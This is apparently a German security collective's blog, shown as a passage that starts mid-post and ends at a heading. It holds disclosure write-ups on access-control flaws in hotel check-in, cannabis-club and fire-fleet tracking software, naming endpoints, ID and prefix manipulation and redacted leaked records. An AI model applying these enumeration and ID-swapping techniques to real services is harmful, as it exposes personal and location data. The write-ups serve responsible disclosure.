  "id": 2342420,
  "blobCreatedAt": "2025-09-05T12:34:51.123456789Z",
  "fileName": "ABCDEFGH-1/SIGNATURE_DOCUMENT.png",
  "contentType": "image/png",
  "contentLength": 2342,
  "metaData": {
    "ownerId": "ABCDEFGH-1",
    "magicFileType": "SIGNATURE_DOCUMENT",
    "originalFilename": "SIGNATURE_DOCUMENT.png"
  },
  "ownerId": "ABCDEFGH-1",
  "tenantName": "zerdreams"
}

Das ist natürlich sehr freundlich vom Server, aber keine Information, die wir eigentlich benötigen. Diese Redseligkeit macht uns schon etwas stutzig – also gucken wir in den Code.

Was will uns der Server damit sagen?

Als klassische sogenannte “Single-Page-Applikation”² wird auch hier wieder schon beim Öffnen der WebApp ganz viel Code für den Browser geladen – unabhängig davon, ob die Funktionen für diesen User/Einsatzzweck relevant sind, oder nicht. Dabei taucht dann auch beim groben Drüberlesen schnell eine Funktion namens downloadFile auf: Diese nimmt einen Dateinamen und versucht, die Datei vom Server abzurufen.

Der Endpunkt, um Dateien abzurufen ist https://my.examplehotel.invalid/api/guest-journey-service/{magicId}/files?fileName={name}. Die magicId ist dabei eine längere zufällige Zeichenkette, die im Check-In-Link enthalten ist, den wir anfangs per Mail bekommen haben.

Beim ersten Versuch diese URL direkt aufzurufen, bekommen wir nur eine Fehlermeldung, dass wir nicht angemeldet sind. Denn dieser Endpunkt braucht als Authentifizierung einen Bearer-Token von einem eingeloggten Nutzer. Na gut, dann müssen wir den wohl zuerst besorgen…

Wir haben zwar keinen Account bei dem Hotel, klicken aber trotzdem auf den großen “Login”-Button auf der Hauptseite.

Und siehe da: Auf der Login-Seite gibt es auch gleich einen Registrierungslink und nur wenige Sekunden später halten wir unseren neuen Account (und den dazugehörigen Bearer-Token) in den Händen und können es nochmal probieren. Mit dem Account klappt es dann direkt und wir können unsere wunderbar generierte Unterschrift nochmal betrachten.

Dabei fällt unser Blick genauer auf den Dateinamen: ABCDEFGH-1/SIGNATURE_DOCUMENT.png. Der besteht aus drei Teilen: ABCDEFGH-1 ist unsere Buchungsnummer, SIGNATURE_DOCUMENT die Art der Datei und png natürlich die passende Dateiendung für das Unterschriften-Bild, das wir hochgeladen haben.

Die einzige Form von weltoffen, die nicht okay ist

Doch als wir eine mitreisende Person nach ihrem Buchungscode fragen (sagen wir mal STUVWXYZ-1) und diesen ausprobieren, sind wir schockiert: Auch STUVWXYZ-1/SIGNATURE_DOCUMENT.png können wir abrufen und sehen … die automatisch generierte Unterschrift mit dem Namen unserer mitreisenden Person. Selbst den hochgeladenen Ausweis der Person können wir abrufen, direkt unter STUVWXYZ-1/IDENTIFICATION_DOCUMENT.jpg – dass die Datei so heißen müsste, wissen wir aus dem Code.

Uff. Puh. Belastend. Wir haben gerade erst eingecheckt und schon finden wir so etwas? Datei für Datei die Buchungsanhänge runterladen zu können, ist schon schlimm – und eigentlich könnten wir hier auch schon aufhören. Die Erfahrung zeigt aber, dass Sicherheitslücken Rudeltiere sind und meist zusammen auftreten. Dann schauen wir mal lieber genauer hin.

Zimmerservice? Einmal alles bitte.

likeMagic stellt praktischerweise eine gute API-Doku bereit, sodass wir gleich nachlesen, welche weiteren Schnittstellen wir uns anschauen könnten. Das ist gute Praxis, allerdings müssen die dort beschriebenen Schnittstellen (genauso wie grundsätzlich alle Schnittstellen) ausreichend sicher sein.

So erfahren wir, dass https://my.examplehotel.invalid/api/guest-journey-service/files/{BOOKING_CODE}/list eine Liste aller Dateien zurück gibt, die zu einer Buchungsnummer gehören. Das ist die Unterschrift, ggf. das Ausweisfoto sowie am Ende die Rechnung 💸😭.

🎶 A, B, C, D, E, F, G… 🎶

Auch für diesen Endpunkt müssen wir zwar angemeldet sein, aber auch hier gilt: Welcher Nutzeraccount die Anfrage stellt, ist offensichtlich völlig egal. Unser erster Gedanke: Naja, dann muss man ja immerhin die Buchungsnummer (8 Großbuchstaben + eine Zahl) kennen, die kann man wenigstens nicht sofort erraten. Die Realität holt uns leider sofort ein: Die Software wirft einem anscheinend sämtliche Dateien zurück, bei denen die Buchungsnummer mit den angegebenen Zeichen anfängt.

Gäben wir also beispielsweise die Buchstaben ZER als Buchungscode an, bekämen wir wohl alle Dateien zu allen Buchungen, die mit ZER anfangen – inklusive ihrem Inhalt. Oh no!

GET https://my.examplehotel.invalid/api/guest-journey-service/files/ZER/list

[
  {
    "fileName": "ZEROHNOO-1/ZEROHNOO-1-1.pdf",
    "contentType": "application/pdf",
    "contentLength": 12345,
    "blobCreatedAt": "2025-01-01T01:01:01.123Z",
    "metaData": {
      "ownerId": "ZEROHNOO-1",
      "folioId": "ZEROHNOO-1-1",
      "magicFileType": "INVOICE"
    },
    "ownerId": "ZEROHNOO-1",
    "content": "[...]",
    "signedUrl": null
  },
  // ... (weitere 23MB JSON-Daten 🤯)
]

Weil die Buchungsnummern immer mit einem Großbuchstaben beginnen und schon ein Buchstabe reicht, um die Suche zu starten, könnte man mit nur ganzen *checks notes* 26 Anfragen die Dateien aller Buchungen abrufen³. Mist 🍞.

Wir würden dann gerne Zählen, bitte.

Wir schätzen, dass alleine bei der Hotelkette, bei der wir selbst waren – McDreams – mehr als 500.000 Dateien von rund 200.000 Buchungen abrufbar gewesen wären – inklusive 90.000 Ausweisdokumenten.

Und das war nur eine Hotelkette. Eine schnelle Suche liefert eine Liste von fast 50 Instanzen der likeMagic-WebApp, die mutmaßlich ebenso betroffen waren.

Vor dem Schlafen, nach dem Essen, Lückenmeldung nicht vergessen

Nun haben wir Lücken gefunden, die sogar gleich eine ganze Reihe von Hotels betreffen. Damit geht die eigentliche Arbeit für uns erst los: alles sauber aufschreiben und dokumentieren. Diesen Report über die gefundenen Lücken schicken wir dann an den Hersteller und das CERTBund beim BSI.

Der Hersteller antwortet (trotz Meldung an einem Sonntagabend!) prompt: bereits nach 2 Stunden bekommen wir eine Antwort und die Bestätigung, dass die Lücken geschlossen seien – was bei einem kurzen Test auch zu stimmen scheint.

Auch der Hinweis, dass wir keinen Sicherheitskontakt finden konnten, wurde dankend aufgenommen. Wir empfehlen grundsätzlich immer allen, einen Sicherheitskontakt mittels des security.txt-Standards bereitzustellen. Ein paar Tage später tauchte zwar keine security.txt, aber immerhin eine frische Vulnerability Disclosure Policy in ihrem Helpcenter auf. Das ist eine gute Reaktion, die wir an dieser Stelle auch mal explizit loben wollen – auch wenn es nie zu einer solchen Lücke hätte kommen dürfen.

Ganz positiv fällt unser Fazit zum Umgang mit der Lücke jedoch nicht aus: Bis heute wissen wir von keiner Information an die betroffenen Hotelgäste. Diese sollten darüber informiert werden, dass ihre Daten gefährdet waren, so wie es die DSGVO auch vorsieht.

Warum liegen hier überhaupt Ausweise rum?

Zum 01.01.2025 wurde das Bundesmeldegesetz angepasst, die “besondere Meldepflicht in Beherbergungsstätten” aus §29 und §30 BMG wurde für deutsche Staatsangehörige aufgehoben – aber halt auch nur für diese.

Menschen, die nicht aus ‘schland 🇧🇪 stammen, müssen weiterhin ihre Daten und Wohnanschrift abgeben und ihren Ausweis zum Vergleich bereitstellen. Üblicherweise reicht da der Vergleich durch einen kurzen Blick auf den Perso an der Rezeption. Sobald aber der Check-In online passiert, kommen Hotels und Softwareanbieter auf interessante Ideen, wie man das denn über das Internet bewerkstelligt.

Was jetzt Deutsche weniger gefährlich macht als alle anderen Menschen können wir uns (außer mit einer gehörigen Portion ~~Rass~~Patriotismus) nicht erklären. Deshalb gilt hier wie immer: Daten, die nicht zwingend benötigt werden, sollte man gar nicht erst erfassen. Und ist der Grund für bereits erfasste Daten weggefallen, sollten die auch schnellstmöglichst gelöscht werden. Besonders diese personenbezogenen Daten sind nunmal kein Öl, sondern toxischer Abfall. Und Daten die man nicht (mehr) hat, können auch nicht unbeabsichtigt wegkommen :)

Die allerbeste Lösung für das Problem ist aber eine Anpassung des Bundesmeldegesetzes: einfach keinerlei Datenerfassung mehr. Denn wer sie nicht von Menschen mit einer bestimmten Staatsbürgerschaft braucht, braucht sie von allen anderen auch nicht. Das ist auch die Position des Hotelverband Deutschland.

Schluss. Schlafen.

Liebe Hotels, ab jetzt bitte keine Lücken mehr, damit wir endlich wieder ruhig schlafen können. Wir machen das alles ehrenamtlich in unserer Freizeit. Guter Schlaf ist wichtig. Auch für uns… 😴⁴

Timeline

2025-09-05: Beginn der Analyse, Erste Lücke entdeckt
2025-09-06: Zweite Lücke entdeckt; Bestätigt, dass auch andere Hotelketten betroffen sind
2025-09-07 20:23 Uhr: Meldung der Lücke an das Unternehmen und das CERTBund
2025-09-07 22:34 Uhr: Antwort des Unternehmens, Lücke geschlossen

🤝

Unsere Recherchen haben wir mit Jacob von der ZEIT geteilt, den Artikel findet ihr hier.

An solch einem Artikel sitzen wir als Kollektiv deutlich länger als eine Woche, vom Finden der Lücken, über das Schreiben der Reports, den Umgang mit den betroffenen Unternehmen bis zur Veröffentlichung dieses Posts.

Falls euch dieser Artikel gefallen hat, könnt ihr uns gerne unterstützen. Und wer uns bereits unterstützt - nochmals vielen Dank! (Kleiner Hinweis: Wir mussten schon wieder unsere IBAN austauschen)

Die Inhalte des folgenden JSON-Snippets haben wir fiktionalisiert, die Struktur ist beibehalten. ↩︎
https://de.wikipedia.org/wiki/Single-Page-Webanwendung ↩︎
Falls ihr euch fragt, warum der letzte Blogpost so lange her ist: Wir haben uns fortgebildet und können jetzt nicht nur Zahlen hochzählen, sondern auch das ganze Alphabet (in Schrift und Gesang). ↩︎
Dieser Satz wurde sehr müde mitten in der Nacht geschrieben. ↩︎

Seit dem 1. April ist Bubatz legal, Datenlecks aber weiterhin nicht

Fri, 05 Apr 2024 13:55:00 +0200

Kiffer aller (Bundes-)Länder vereinigt euch und jubelt, seit dem 01.04. ist Bubatz legal¹. In freudiger Erwartung auf den 01.07., an dem die nächsten Regelungen aus dem Cannabis-Gesetz in Kraft treten, sprießen nun in ganz Deutschland die Cannabis Social Clubs (CSCs) aus dem Boden und brauchen zum Wachsen nicht nur Samen, Wasser und viel Licht, sondern natürlich auch gute Software. So gibt es schon jetzt eine ganze Reihe Anbieter, die den neuen Markt gerochen² haben und speziell auf CSCs ausgerichtete Software anbieten.

Als wir davon gehört haben, hatten wir gleich so ein Kratzen im Hals und ein schlechtes Bauchgefühl – das sich leider bestätigte: Nach kurzer Zeit fanden wir ein Datenleck mit Details von mehr als 1.000 CSC-Interessierten - und das Resultat von schlechter Gesetzgebung.

Große Ziele …

Es fing alles harmlos an: mit einer Instagram-Werbung für CanGuard, einen Anbieter von Rundum-Sorglos-Software-Lösungen für CSCs (offiziell “Anbauvereinigungen”).
Von Registrierung der Club-Mitglieder über Lagerverwaltung und die nötige Compliance-Dokumentation bis zu einem Satzungs-Generator für den Verein soll einmal alles dabei sein.
Und natürlich: Alles sicher und Datenschutzkonform.

Auch im Discord-Channel von CanGuard schürt der Gründer hohe Erwartungen.
Wenige Tage, bevor wir auf CanGuard aufmerksam wurden, fragte dort ein User, ob es ein Datenleck gäbe, da er plötzlich viel SPAM per E-Mail bekäme. Der Gründer antwortet, dass Datenschutz Kern ihres Produkts sei und ihnen besonders am Herzen liege. Das Produkt soll so sicher sein, dass selbst bei einem Datenleck niemand an die E-Mail-Adressen käme:

Trotz diesen Versprechungen haben wir den Dunst der Stunde 💨 genutzt, uns als CSC registriert und dabei die Entwicklungs-Tools unseres Browsers mitlaufen lassen. So können wir sehen, welche Daten zwischen der Website und unserem Rechner übertragen werden.

Wir wissen, wer mit (an)bauen will

Nach dem Login können wir jetzt unseren Club administrieren, die Mitglieder verwalten und so weiter. Dabei fällt uns eine Anfrage an die CanGuard-Server auf: Die Liste der Mitglieder wird von https://api.canguard.de/user/all?club=[CLUB_ID]&invitation=accepted&role=user abgerufen ([CLUB_ID] ist dabei natürlich die Nummer unseres frisch gegründeten CSCs🍃). Die Antwort sah dann so aus (Details natürlich ersetzt):

{
	"success": true,
	"message": "OK",
	"data": [
		{
			"_id": "660da9ed1234567890abcdef",
			"first_name": "Alex",
			"last_name": "Mustermensch",
			"user_name": "alex.mustermensch",
			"email": "alex.mustermensch@example.com",
			"password": "$2b$10$9NPwgu7eCnDLLhoFT9uYjuoKtE8WNMwFcrURYvWVZvAg567.sjQcG",
			"role": "user",
			"status": "active",
			"postal_code": "12345",
			"date_of_birth": "1970-01-01T00:00:00.000Z",
			"club": "660da9ed1234567890abcdfa",
			"invitation": "accepted",
			"createdAt": "2024-03-24T19:11:41.968Z",
			"updatedAt": "2024-03-24T19:28:20.944Z"
		},
		...
	]
}

Bei /user/all wurden wir gleich hellhörig 👀. Was würde wohl passieren, wenn man die Filter club, invitation und role einfach wegließe? Der einfachste Weg, das herauszufinden, ist es auszuprobieren:

Denn tatsächlich bekommen wir jetzt plötzlich nicht mehr nur die Mitglieder unseres “““CSC””” zu sehen, sondern mehr als 1.200 Nutzer*innen – mutmaßlich alle Nutzer*innen von CanGuard mit den zu ihnen hinterlegten Daten:

User-ID
Vor- und Nachname
E-Mail-Adresse
bcrypt-gehashtes Passwort
Rolle (user oder clubowner)
ID des zugeordneten Clubs
Geburtsdatum
Postleitzahl
Status (active oder inactive)
Einladungs-Status (invited oder accepted)
Datum der Registrierung sowie der letzten Änderung am Profil

Einige der Felder sind optional und nicht bei allen Nutzer*innen ausgefüllt, z.B. PLZ, Nachname, Geburtsdatum.

Wir sind andere Kiffer*innen?

Wenn wir in so kurzer Zeit bereits auf die erste Lücke stoßen, schnuppern wir doch nochmal lieber etwas tiefer rein.

Bei einem kurzen Que^erlesen des Quelltextes sahen wir die Schnittstelle, die verwendet wird, wenn man Nutzer*innen nach ihrer Registrierung in den eigenen CSC aufnehmen möchte:

https://api.canguard.de/user/updateMemberByAdmin?_id=[User-ID]
(statt [User-ID] stand dort die Nummer der Nutzer*in, die wir in den Club lassen wollten)

Spannenderweise wird die gleiche Schnittstelle auch aufgerufen, wenn man sein eigenes Passwort vergessen hat und es zurücksetzt.
Dort steht dann statt [User-ID] unsere eigene Nutzer*innen-ID.

Doch leider funktioniert das nicht nur für unseren eigenen Account.
Wenn wir statt der eigenen User-ID die von anderen Nutzer*innen eintragen, können wir das Passwort eines anderen Accounts ändern und uns daraufhin in diesen fremden Account einloggen.³ Praktischerweise liefert CanGuard in der Antwort dann gleich noch die E-Mail-Adresse des Accounts für den Login mit.

Dafür brauchen wir nur die ID des Accounts den wir übernehmen wollen, und die kennen wir ja bereits. Wir haben ja gerade eine Liste aller Accounts bekommen – inklusive ihrer ID.

Dein Club, mein Club, das sind doch alles bürgerliche Kategorien

Und nicht nur fremde Accounts konnten wir verändern, bei den Clubs sah es ähnlich aus. Wenn wir unseren eigenen Club anpassen, wird eine Anfrage an die Schnittstelle https://api.canguard.de/club/updateClub/[Club-ID] gesendet (statt [Club-ID] stand dort die Nummer unseres Clubs)

Doch auch hier wieder das gleiche Spiel: Wenn wir statt der ID unseres Clubs die ID eines anderen Clubs eintragen, können wir diesen beliebig verändern. Beispielsweise können wir den Namen des Clubs, die Beschreibung oder die Adresse ändern:

✍️ Auf zum Report

Solch gravierende Lücken müssen schnellstmöglich geschlossen werden. Daher haben wir wie immer einen Report geschrieben, mit allem, was wir zu den Lücken herausfanden, inklusive Bauanleitung, um die Lücken nachzuvollziehen.⁴

Diesen haben wir am 27.03. an das Unternehmen, sowie die zuständige Landesdatenschutzbehörde von Niedersachsen und das CERT-Bund beim BSI gesendet.
Dabei bitten wir die Unternehmen immer, den Eingang der Nachricht zu bestätigen und uns mitzuteilen, wie lange sie etwa für das Schließen der Lücke brauchen werden.

An dieser Stelle hat es uns noch etwas verwirrt, unter welcher Mailadresse CanGuard bzw. die ThingBring GmbH als Betreiber nun wirklich zu erreichen sein möchte. Auf der Kontaktseite steht als Adresse info [at] canguard.de, in der Datenschutzerklärung dann zwei Adressen mit der Endung @thingbring.de.

Sicherheitshalber haben wir uns an alle drei Adressen gewandt – jedoch war dies nur bei der Ersten erfolgreich. Alle E-Mails an thingbring.de konnten nicht zugestellt werden, aus einem einfachen Grund: Diese Domain war nicht registriert⁵.

12 Stunden später bekamen wir von CanGuard eine Eingangsbestätigung mit der Ankündigung, das Leck “umgehend” zu beheben.

Weitere 6 Tage später hatten wir jedoch immer noch nichts Neues gehört.
Also haben wir nochmal nachgefragt – doch nachdem sie anscheinend in der Zwischenzeit an ihrem E-Mail-Setup herumgebastelt haben, konnten nicht mal mehr E-Mails an die bisher funktionierende canguard.de E-Mail-Adresse zugestellt werden :(.
Zum Glück standen in der Datenschutzerklärung auch Handynummern, bei denen wir es via SMS probiert haben.

Auch auf die SMS gab es keine Antwort. Am nächsten Tag haben sie aber versucht, ihren E-Mail-Empfang zu reparieren - und zu unserer Überraschung die Plattform gleich komplett offline genommen.

Am 05.04., also noch einen Tag später, hatten wir zwar immer noch keine Antwort, dafür hat CanGuard zumindest die Nutzer*innen über das Datenleck informiert.⁶

Dabei informierte CanGuard die Nutzer*innen aus unserer Sicht angenehm ehrlich:
Sie nennen konkret die betroffenen Daten und sagen auch, dass sie nicht ausschließen können, dass außer uns noch jemand an die Daten gekommen ist – auch wenn sie darauf keine Hinweise hätten. Außerdem empfehlen sie den Nutzer*innen, sicherheitshalber ihre Passwörter auch auf anderen Webseiten zu ändern.

Fazit

Warum erzählen wir hier davon?
Mit “nur” etwas mehr als 1.000 Accounts ist CanGuard eher ein kleiner Fall und die Software steckt erkennbar noch in den Kinderschuhen. Trotzdem denken wir, dass es sinnvoll ist, darüber öffentlich zu berichten.

Erstens sind wir der festen Überzeugung: Wenn ein Produkt marktreif genug ist, um Kund*innen-Daten zu speichern, muss es auch reif genug sein, diese für sich zu behalten.

Zweitens hoffen wir, dass dieser Artikel eine gewisse Breitenwirkung hat und andere Anbieter von ähnlichen CSC-SaaS-Lösungen nochmal genau schauen, was sie da eigentlich gebaut haben.
Wir wollen wirklich nicht, dass solche Software jetzt nach den Testzentren, den Lieferdiensten und der Bildungssoftware der nächste Running Gag bei uns wird.

Normalerweise würden wir an dieser Stelle den Anbietern vorhalten, dass sie diese Daten überhaupt sammeln. Datensparsamkeit wäre doch sinnvoller.
Doch das Grundproblem liegt hier nicht nur bei den Software-Anbietern, sondern im Cannabisgesetz selbst:

Denn das Gesetz verlangt, dass die CSCs viele Daten über ihre Mitglieder erheben müssen: Name, Geburtsjahr, abgegebene Menge, etc.
Diese Daten müssen zudem 5 Jahre aufbewahrt und teilweise sogar an die zuständige Behörde übermittelt werden. Netzpolitik.org schreibt dazu: “Beim Dealer ist mehr Datenschutz”.

Dabei sollte auch hier Datensparsamkeit gelten und so wenig Daten wie möglich gespeichert werden müssen:
Denn Daten, die gar nicht erst gesammelt und aufbewahrt werden, können auch nicht wegkommen.

So müssten sich Cannabis-Connoisseur*innen keine Sorgen um ihre Daten machen und könnten sich auf wichtigere Dinge konzentrieren: Zum Beispiel, warum die Pizza schon wieder alle ist.

🤝

Unsere Rechercheergebnisse haben wir mit Daniel Laufer und Carla Spangenberg vom rbb geteilt, deren Artikel auf tagesschau.de ihr hier lesen könnt.

Timeline

2024-03-23 13:50 - Wir finden erste Lücken bei CanGuard
2024-03-27 11:03 - Report an CanGuard, ThingBring, zuständige Landesdatenschutzbehörde von Niedersachsen & CERT-Bund
2024-03-27 11:04 - E-Mail bounced, ThingBring.de ist gar nicht registriert
2024-03-27 23:13 - Antwort vom CanGuard
2024-04-03 14:07 - Nachfrage, ob Lücken geschlossen sind
2024-04-03 14:07 - Mail bounced, “Recipient rejected”
2024-04-03 17:29 - Erneute Nachfrage
2024-04-03 17:29 - Mail bounced wieder, “Recipient rejected”
2024-04-03 22:10 - E-Mail mit erneuter Nachfrage
2024-04-03 22:10 - Mail bounced immer noch, “Recipient rejected”
2024-04-03 22:15 - SMS an Gründer und Datenschutzbeauftragten
2024-04-04 11:00 - E-Mail-Zustellung wurde wohl repariert, wir schicken E-Mail mit erneuter Nachfrage
2024-04-04 18:09 - wir bemerken, dass die CanGuard-App abgeschaltet wurde
2024-04-05 07:15 - CanGuard benachrichtigt ihre Nutzer per E-Mail über das Datenleck

An solch einem Artikel sitzen wir als Kollektiv deutlich länger als eine Woche, vom Finden der Lücken, über das Schreiben der Reports, den Umgang mit den betroffenen Unternehmen bis zur Veröffentlichung dieses Posts.

Falls er euch gefällt, könnt ihr uns gerne unterstützen.

Wie ihr seht haben wir den Jugendsprachkurs bei Karl Lauterbach (61 Jahre) gemacht. ↩︎
süßlich, fruchtig, blumig und ein bisschen wie frischer Schweiß 👃 ↩︎
Natürlich haben wir das nicht mit fremden Accounts getestet, sondern uns selbst mehrere Accounts angelegt und dann an diesen gegenseitig getestet. ↩︎
Wer dazu mehr wissen will: Zusammen mit Linus haben wir auf dem rc3 einen Talk zum Melden von Sicherheitslücken gehalten: “Deine Software, die Sicherheitslücken und ich” ↩︎
Damit sich niemand diese Domain schnappt und damit Unsinn anstellt, haben wir sie sicherheitshalber vor dieser Veröffentlichung reserviert und CanGuard angeboten, sie ihnen kostenlos zu übertragen. ↩︎
Spannenderweise informierte CanGuard per E-Mail, obwohl im Discord-Post noch behauptet wurde, dass sie durch “funktionierenden Datenschutz” gar keine Kenntnis von den E-Mail-Adressen hätten. ↩︎

Tatü-Tata, ein Databreach ist da

Tue, 08 Aug 2023 17:00:00 +0100

Immer wissen wo es brennt? ~~Da gibts doch was von Ratiopharm?~~ Früher musste man dazu schon den Behördenfunk abhören oder einen guten Kontakt in der Leitstelle haben. Aber was, wenn dir jedes Feuerwehrauto einfach jederzeit seinen Standort verrät?

Müssen wir nicht lange drumrumreden: Ist uns passiert. Die ganze Geschichte hier:

Hilfe, wir wurden geinfluenced

Es ist ein Samstagvormittag, kurz nach neun Uhr morgens. Es ist bereits zu warm um etwas Produktives zu tun. Deswegen sitzt das zerforschi lustlos auf der Couch, scrollt so halb aufmerksam durch Instagram. The millenial lifestyle…

Plötzlich bleibt das zerforschi mit den müden Augen an einem sichtbaren QR-Code auf einem komisch aussehenden Gerät hängen.

Die müden Augenlider heben sich langsam, der antrainierte Werbeblocker im Hirn funktioniert plötzlich nicht mehr und wird von Interesse überdeckt. Es stellen sich zwei entscheidende Fragen, die in diesem Moment wichtiger werden als alles andere:

Warum ist Instagram der Meinung, dass ich die richtige Zielgruppe für GPS-basiertes Flottentracking für Feuerwehrautos bin?
Was steckt hinter dem QR-Code?

Neugierig klappt das zerforschi seinen Laptop auf und öffnet ein Bildbearbeitungsprogramm. Hier wird mit ein paar Klicks der QR-Code aus dem Post ausgeschnitten, großgezoomt und geradegerückt. Jetzt nochmal probieren, den QR-Code zu scannen – und es klappt!

Neugierde? Geweckt!

Der Link hinter dem QR-Code führt tatsächlich auf die Weboberfläche der Flottentracking-Software: “Rosenbauer Connected Fleet”. Dort erfährt das zerforschi: Rosenbauer, mit dem Sitz im schönen Leonding in Österreich, ist einer der weltweit größten Hersteller von Feuerwehrfahrzeugen und bietet hier eine Anwendung an, um die eigenen Einsatzfahrzeuge immer im Blick zu behalten. Aber Moment: Nur die eigenen?

Zuerst wird das zerforschi von einer Login-Maske begrüßt 👋. Zugangsdaten hat es natürlich keine – das ist aber schnell geklärt: Es kann sich einen Account erstellen. Der hilft aber erstmal auch nicht weiter. Denn der frisch erstellte Account ist keiner Organisation zugeordnet, und hat damit keinen Zugriff auf die spannenden Teile der Anwendung.

Jedenfalls auf den ersten Blick…

Denn moderne Webanwendungen wären für uns nur halb so spannend, wenn es nicht das Konzept einer “Single-Page-Application” geben würde. Das heißt: Alle Funktionalität steckt in einer einzigen Webseite, ohne dass bei jeder Aktion die ganze Seite neu geladen werden muss.

Die benötigten Informationen werden von der Anwendung im Hintergrund über Schnittstellen geladen und auf der Seite nur die Elemente ausgetauscht, die sich ändern. Das ist an sich nichts Besonderes, und schon seit mehr als zehn Jahren so üblich. Hat für uns aber einen besonderen Vorteil: Beim Öffnen der Webanwendung wird der Programmcode für die verschiedenen Aktionen oder Datenanzeigen schon geladen. Und da in diesem Fall die Fehlermeldung “keine Organisation zugeordnet” Teil der Anwendung ist, bekommen wir den gesamten Programmcode serviert. Praktisch.

Und dieser Code enthält natürlich die Adressen der Schnittstellen (APIs), von denen sich die Anwendung die Daten lädt.

Im Falle von Rosenbauer Connected Fleet müssen wir den meisten API-Aufrufen eine Organisations-ID mitgeben. Die haben wir natürlich nicht, weil wir ja keiner Organisation zugeordnet sind.

Aber was ist das? Der Endpunkt /api/fleet/v1/firehub/telematic hat keinen Parameter für die Organisations-ID.

Wir rufen diese Schnittstelle mit unserem erstellten Account auf und… bekommen Daten zurück. Einhundert Datensätze – worin sich unter anderem befinden:

Geodaten mit genauen Koordinaten (also Längen- und Breitengrad) des Trackers im Fahrzeug
die zugewiesene Organisation wie beispielsweise Betreiber von Flughäfen
das zugewiesene Fahrzeug
der Gerätetyp
- relativ häufig von den Herstellern Aplicom oder Sitec – eine schnelle Suche verrät uns, dass sich es dabei um fest in den Fahrzeugen verbaute Geräte handelt
- außerdem Drohnen und Fernbedienungen vom Drohnen-Weltmarktführer DJI
- und eben die kleinen Stecker für die großen Einsatzfahrzeuge, wofür wir den Instagram-Post angezeigt bekommen haben und überhaupt erst neugierig wurden
ein Notizfeld
- darin auch: wenig verständliche Daten – vermutlich Testdatensätze

[
  {
    "moduleGUID": "████████-████-████-████-████████",
    "imei": "████████████",
    "serialNumber": "████████",
    "type": "Sitec S7",
    "lat": 52.5326376,
    "lng": 13.284193,
    "tsLocationUpdated": "2023-07-25T06:34:09.000Z",
    "detectedFirmware": null,
    "detectedVehicleIdentifier": null,
    "imsi": "████████████",
    "notice": "████",
    "assignedVehicle": "L32 Berlin (B-2307)",
    "assignedOrganisation": "Berliner Feuerwehr"
  },
  ...
]

Und genau zu diesem Fahrzeug finden wir sogar Fotos im Internet.

💯 Immer genau einhundert?

Dabei fällt uns auf, dass wir genau einhundert Datensätze sehen, also die Informationen zu einhundert Trackern. Es ist eher unwahrscheinlich, dass die Software nur exakt 100 Tracker verwaltet. Dazu ist die Zahl viel zu genau und zwar klingt das schon nach vielen – aber alleine die Berliner Feuerwehr hat schon mehr als 1000 Fahrzeuge. Wir rechnen also damit, dass in der Software noch viel mehr Tracker verzeichnet sein müssten.

Gleichzeitig findet sich im Code der Single-Page-Application noch der Parameter ?q= für die telematic-Schnittstelle. Wenn man hier z.B. Ziffern von 00 bis 99 durchprobiert, gibt es jeweils andere Ergebnisse. Und hier wird es noch spannender.

In den Ergebnissen tauchen verschiedene Institutionen auf, beispielsweise

Feuerwehren
- Magistrat der Stadt Wien MA 68 - Feuerwehr und Katastrophenschutz / Berufsfeuerwehr Wien (Österreich)
- Berliner Feuerwehr
- Landeshauptstadt Düsseldorf Feuerwehr und Rettungsdienst
- Feuerwehr Aachen
- Stadt Oberhausen Berufsfeuerwehr
- Hansestadt Lübeck
- Feuerwehr Karlsruhe Abt. Neureut
- Gemeinde Stockelsdorf
- Stadtfeuerwehr Imst (Österreich)
- Romanian General Inspectorate for Emergency Situations
- City of Los Angeles Supply Services (USA)
- Surrey Fire & Rescue Service Headquarters
- Staffordshire Fire & Rescue Service Headquarters
- Tehran Fire Services (Iran)
- …
Betriebsfeuerwehren
- Henkel AG & Co.KGaA
- Betriebsfeuerwehr Industriepark Schwechat GmbH
- …
Flughafen-Feuerwehren
- Flughafen Dresden GmbH 12
- Flughafen Hannover-Langenhagen GmbH
- Schiphol Group Nederland B.V. (Niederlande)
- Glasgow International Airport (Schottland)
- Leeds and Bradford International Airport (Vereinigtes Königreich)
- Finavia Oyj (formerly Finnish Civil Aviation Administration, Finnland)
- Hovedstadens Beredskab (Feuerwehr für Kopenhagen und umliegend, Dänemark)
- Office National des Aéroports Aéroport Mohammed V – Nouasseur (Flughafen Casablanca, Marokko)
- Aéroport de Bâle Mulhouse Service Comptabilité (Flughafen Basel Mulhouse Freiburg, Frankreich)
- Avinor Alta Airport (Norwegen)
- Gibraltar International Airport Fire and Rescue Service
- …
Militär
- Armasuisse (Schweizer Militär)
- Bundesamt für Ausrüstung, Informationstechnik und Nutzung der Bundeswehr
- Latvian National Armed Forces Aviation base
- …

Mindestens 356 Organisationen tauchen in den Daten auf – mit insgesamt mehr als 4300 Fahrzeugen. 🤯

Langsam wird es wirklich unheimlich. Um herauszufinden, welche Institutionen weltweit von dem Problem betroffen sein könnten, schauen wir uns die Koordinaten aus den Datensätzen auf einer Karte an. Dabei zeigt sich: Im Trackerverzeichnis finden sich nicht nur Feuerwehren in ganz Europa, sondern in der ganzen Welt. Außerhalb Deutschlands meist auf Flughäfen. Außerdem scheint die Firma auch Kunden im Iran zu haben – trotz der politischen Situation dort.

💔

Mittlerweile ist es nachmittags, der Puls des kleinen zerforschis ist ziemlich hoch, das Herz klopft: So viele Organisationen sind betroffen – europa- und sogar weltweit. Panik macht sich breit: Das sollte so nicht sein! Deshalb öffnet das zerforschi das Textprogramm, schreibt alle Funde umfassend in einem Bericht auf – inklusive einer technischen Problembeschreibung und sucht nach dem Kontakt zur IT-Sicherheitsbeauftragen auf der Website. Nur um traurig festzustellen: Auch Rosenbauer als weltweit tätiges, führendes Unternehmen in einem durchaus sicherheitsrelevanten Bereich hat weder eine security.txt¹, noch nennen sie eine Ansprechpartnerin dafür irgendwo auf der Kontaktseite. Enttäuscht wirft das zerforschi noch einmal einen vorsichtigen Blick in LinkedIn - aber auch dort: wohl niemand für Sicherheit zuständig.

Desillusioniert schickt das zerforschi also den Report an das österreichische CERT², das deutsche CERT beim BSI und die zentrale office@-Mailadresse von Rosenbauer - und fragt sogar einen Tag später nochmal telefonisch nach, ob der Report denn angekommen wäre. »Ja, ja«, versichert man uns, es wurde »zum Kollegen weitergeleitet. Die Durchwahl oder Mailadresse darf ich ihnen aber nicht geben«, bekommen wir als Antwort. Hm.

Fazit

